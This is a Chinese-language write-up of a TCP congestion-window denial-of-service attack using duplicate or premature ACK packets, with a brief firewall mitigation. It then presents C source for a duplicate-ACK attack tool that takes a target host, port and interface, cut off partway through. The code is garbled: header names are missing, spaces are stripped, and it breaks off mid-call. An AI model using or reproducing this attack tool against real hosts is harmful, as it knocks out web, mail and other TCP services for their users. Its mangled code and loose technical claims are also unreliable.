TCP协议堵塞窗口算法攻击
TCP协议层次关于堵塞窗口的算法存在容易受攻击的漏洞
这种攻击是基于协议层次的,因此任何实现tcp的系统都会受到影响。
危害性:
通过制造堵塞,能够使受攻击的主机不能与任何指定的主机进行正常的tcp层次的数据传输。这类攻击的后果将是使所有的TCP服务(包括web、mail、FTP等)都会产生拒绝服务。
攻击的方法有两到三种,没有任何补丁可以用来防止这种攻击,除非在防火墙设置防范或者更改TCP协议头部的结构.
理论基础:
什么是ACK_SEQ
ACK_SEQ标志数据包被正确的接受了。
ACK_SEQ是接受数据包的SEQ和接受的数据包的净荷长度.
由于push标志位的存在可以任意指定seq大小.
---攻击原理---
1,重复发送数据包,任何ip数据包都有可能被重复的发送到同一个接受端。
通过构造重复的tcp数据包,每个数据包拥有不同的ACK,能够造成数据窗口堵塞.
2)预先判断发送方的数据长度,在数据没有真正到达接受方之前开始发送返回ACK数据包。从而造成堵塞。
解决方案:
在防火墙端进行设置,对非紧急数据类型的数据比如TELNET以外的普通TCP连接,检查是否存在push标志。进行过滤。
攻击方法:
1,重复发送数据包,任何ip数据包都有可能被重复的发送到同一个接受端
通过构造重复的tcp数据包,每个数据包拥有不同的ACK,能够造成数据窗口堵塞.
攻击代码
############################
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
externinterrno;
staticstructsockaddr_insin;
staticintss;
voidsend_dupack(void*,unsignedchar);
#defineMAS128/*MaxAckSize*/
/*
#defineBOLD"/033[1;1m"
#defineN"/033[0m"
*/
intmain(intargc,char**argv)
{
structifreqifr;/*interfacequerystruct*/
intsfd,nt,nd,off,hdr=1;/*socket,numbertimetoapplydup,
*numberofdup,datalinkoffset*/
unsignedintdaddr;/*destaddrtocheck*/
unsignedshortport;/*destporttocheck*/
printf("ldaa-"
/*BOLD*/"lamerdupackattacker"/*N*/
"-byvecna@s0ftpj.org/n");
if(argc!=6)
{
fprintf(stderr,
"usage:shostportifacen.dupn.times/n"/
"s:/tisldaathisprogram.../n"/
"host:/t/thosttoattack,onlyIP"/
"addessaccepted,notimplementedresolv/n"/
"port:/t/tdestinationporttoattack/n"/
"iface:/t/tinterfaceusedforreachhost/n"/
"n.dup:/t/tnumberofackduplication/n"/
"times:/t/tnumberoftimetoapplyduplication/n",
argv[0],argv[0]
);
err(EINVAL,"nosuchargument");
}
memset(